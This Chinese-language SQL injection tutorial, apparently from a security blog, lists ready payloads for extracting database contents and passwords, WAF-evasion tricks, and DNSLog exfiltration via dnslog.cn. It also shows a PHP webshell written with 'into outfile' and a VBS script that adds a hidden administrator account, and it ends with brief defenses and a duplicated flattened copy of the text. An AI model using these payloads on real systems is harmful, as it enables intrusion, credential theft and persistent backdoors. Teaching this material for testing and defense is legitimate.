基本SQL注入的分析
字数 1908 2025-08-11 08:36:24

SQL注入全面教学文档

一、SQL注入基础原理

SQL注入是通过将恶意SQL代码插入到应用程序输入参数中,从而欺骗服务器执行恶意SQL命令的攻击技术。

1. 标准注入流程

猜测目标指令内容

select xx from xx where 'xx' limit 1,0;

闭合方式测试

  • 尝试各种闭合方式:', ", '), "), ')), "))
  • 如果加闭合导致报错,说明破坏了正常闭合
  • 示例:select username,password from user where id =('$id')
    • 输入'''会报错,而'"'不会报错

运算符优先级

where id=1 and 1  where (id=1) and 1
where id=1 or 1  where (id=1) or 1
where id=(1 and 1)  where id=(1)
where id=(1 or 1)  where id=(1)

试错方法

  1. 使用\转义测试
  2. 观察报错信息(注意区分单引号和双引号)

验证错误

  1. 完整闭合加注释:'--+'#
  2. 注释方式:--#(单行),/* */(多行)

二、注入技术分类

1. 联合查询注入

步骤

  1. 确定列数:order by num(使用二分法)
  2. 查看显示位置:-2' union select 1,2,3 --+
  3. 查数据库:-2' union select 1,database(),3 --+
  4. 查表:-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
  5. 查列:-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
  6. 查数据:-2' union select 1,group_concat(password),3 from users --+

特殊函数

  • version() - MySQL版本
  • user() - 当前用户
  • @@datadir - 数据目录
  • select banner from v$version - Oracle版本

2. 报错注入

当输入错误会报错但正确时不显示有用信息时使用。

方法1

2' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

方法2(快捷)

extractvalue(1,concat(0x3a,database()))
updatexml(1,concat(0x7a,(select database()),0x7a),1)

3. 布尔盲注

当页面无报错但正确/错误显示不同时使用。

and (select ascii(substr((select database()),1,1)) > 45)
  • 使用<>二分法确定ASCII值范围

4. 时间盲注

当页面无任何变化时使用。

and if((select ascii(substr((select database()),1,1))=45),sleep(5),null)

5. 文件操作注入

前提:需要secure_file_priv权限

写入文件

select * from table1 into outfile "/var/www/html/1.txt"
select load_file("/etc/passwd") into outfile "/var/www"
union select 1,'<?php system($_GET["cmd"]);?>',3 into outfile "/var/www/html/1.php" --+

DNSLog技术

  1. 获取DNSLog子域名
  2. 构造查询:
1' if((select load_file(concat('\\',(select database()),'.dnslog.cn\abc'))),1,0)

三、特殊场景注入

1. POST注入

登录绕过

' or '1'='1' union select database() #

密码重置

UPDATE: password='' or 1=1# 
user='admin'

2. 头注入

攻击User-Agent、Referer、Cookies等HTTP头字段。

示例

' and extractvalue(1,concat(0x3a,(select database()),0x3a)) or '1'='1

3. 宽字节注入

原理:利用GBK等宽字符编码使转义符\失效

方法

  • 输入%df' → 变为%df\'%df%5c' → 汉字'
  • POST请求需URL解码:%df%27

防御

set character_set_client = binary

4. 堆叠注入

执行多条SQL语句:

1'; show databases;1'; show tables;1'; show columns from table1;

四、绕过WAF技术

1. 注释与空格绕过

空格替代

  • %09 水平tab
  • %0a 新建一行
  • %0b 垂直tab
  • %0c 新建一页
  • %0d 回车键
  • %a0 空格键

无空格写法

select(username)from(users)where(id)like(1);
select(group_concat(username,password))from(users)where(id)like(1);

2. 关键词绕过

大小写unIon seLect
双写ununionion seselectlect
注释分割un/**/ion se/**/lect
符号分割un<>ion se<>lect
反引号select `username` from `users`

3. 特殊绕过技术

逗号绕过

substr((select database()) from 1 for 1)
select * from (select 1)a join (select 2)b join (select 3)c

等号绕过:使用like, rlike, regexp, <>

静态资源绕过

http://www.xx.com/sql.php/1.js?id=1

白名单绕过

http://www.xx.com/sql.php/admin.php?id=1
http://www.xx.com/manager/../sql.php?id=1

爬虫伪装:修改User-Agent为搜索引擎

五、提权技术

1. UDF提权

步骤

  1. 确认权限:show variables like '%secure%';
  2. 确认路径:select @@basedir;
  3. 导入DLL:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');
drop function sys_eval;

2. MOF提权(Win2003)

步骤

  1. 上传MOF脚本
select 十六进制脚本 into dumpfile "C:/windows/system32/wbem/mof/test.mof";

3. 启动项提权

方法

  1. 上传VBS脚本到启动目录
  2. 内容示例:
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user hacker P@ssw0rd /add", 0
WshShell.Run "net localgroup administrators hacker /add", 0

六、防御措施

  1. 使用预处理语句(Prepared Statements)
  2. 输入验证和过滤
  3. 最小权限原则
  4. 错误信息处理
  5. WAF部署
  6. 定期安全审计

本文档涵盖了SQL注入的主要技术点和防御方法,实际应用中需根据具体场景调整攻击和防御策略。请仅将此文档用于合法安全测试和教育目的。

SQL注入全面教学文档 一、SQL注入基础原理 SQL注入是通过将恶意SQL代码插入到应用程序输入参数中,从而欺骗服务器执行恶意SQL命令的攻击技术。 1. 标准注入流程 猜测目标指令内容 : 闭合方式测试 : 尝试各种闭合方式: ' , " , ') , ") , ')) , ")) 等 如果加闭合导致报错,说明破坏了正常闭合 示例: select username,password from user where id =('$id') 输入 ''' 会报错,而 '"' 不会报错 运算符优先级 : 试错方法 : 使用 \ 转义测试 观察报错信息(注意区分单引号和双引号) 验证错误 : 完整闭合加注释: '--+ 或 '# 注释方式: -- 、 # (单行), /* */ (多行) 二、注入技术分类 1. 联合查询注入 步骤 : 确定列数: order by num (使用二分法) 查看显示位置: -2' union select 1,2,3 --+ 查数据库: -2' union select 1,database(),3 --+ 查表: -2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 查列: -2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ 查数据: -2' union select 1,group_concat(password),3 from users --+ 特殊函数 : version() - MySQL版本 user() - 当前用户 @@datadir - 数据目录 select banner from v$version - Oracle版本 2. 报错注入 当输入错误会报错但正确时不显示有用信息时使用。 方法1 : 方法2(快捷) : 3. 布尔盲注 当页面无报错但正确/错误显示不同时使用。 使用 < 、 > 二分法确定ASCII值范围 4. 时间盲注 当页面无任何变化时使用。 5. 文件操作注入 前提 :需要 secure_file_priv 权限 写入文件 : DNSLog技术 : 获取DNSLog子域名 构造查询: 三、特殊场景注入 1. POST注入 登录绕过 : 密码重置 : 2. 头注入 攻击User-Agent、Referer、Cookies等HTTP头字段。 示例 : 3. 宽字节注入 原理 :利用GBK等宽字符编码使转义符 \ 失效 方法 : 输入 %df' → 变为 %df\' → %df%5c' → 汉字' POST请求需URL解码: %df%27 防御 : 4. 堆叠注入 执行多条SQL语句: 四、绕过WAF技术 1. 注释与空格绕过 空格替代 : %09 水平tab %0a 新建一行 %0b 垂直tab %0c 新建一页 %0d 回车键 %a0 空格键 无空格写法 : 2. 关键词绕过 大小写 : unIon seLect 双写 : ununionion seselectlect 注释分割 : un/**/ion se/**/lect 符号分割 : un<>ion se<>lect 反引号 : select `username` from `users` 3. 特殊绕过技术 逗号绕过 : 等号绕过 :使用 like , rlike , regexp , <> 静态资源绕过 : 白名单绕过 : 爬虫伪装 :修改User-Agent为搜索引擎 五、提权技术 1. UDF提权 步骤 : 确认权限: show variables like '%secure%'; 确认路径: select @@basedir; 导入DLL: 2. MOF提权(Win2003) 步骤 : 上传MOF脚本 3. 启动项提权 方法 : 上传VBS脚本到启动目录 内容示例: 六、防御措施 使用预处理语句(Prepared Statements) 输入验证和过滤 最小权限原则 错误信息处理 WAF部署 定期安全审计 本文档涵盖了SQL注入的主要技术点和防御方法,实际应用中需根据具体场景调整攻击和防御策略。请仅将此文档用于合法安全测试和教育目的。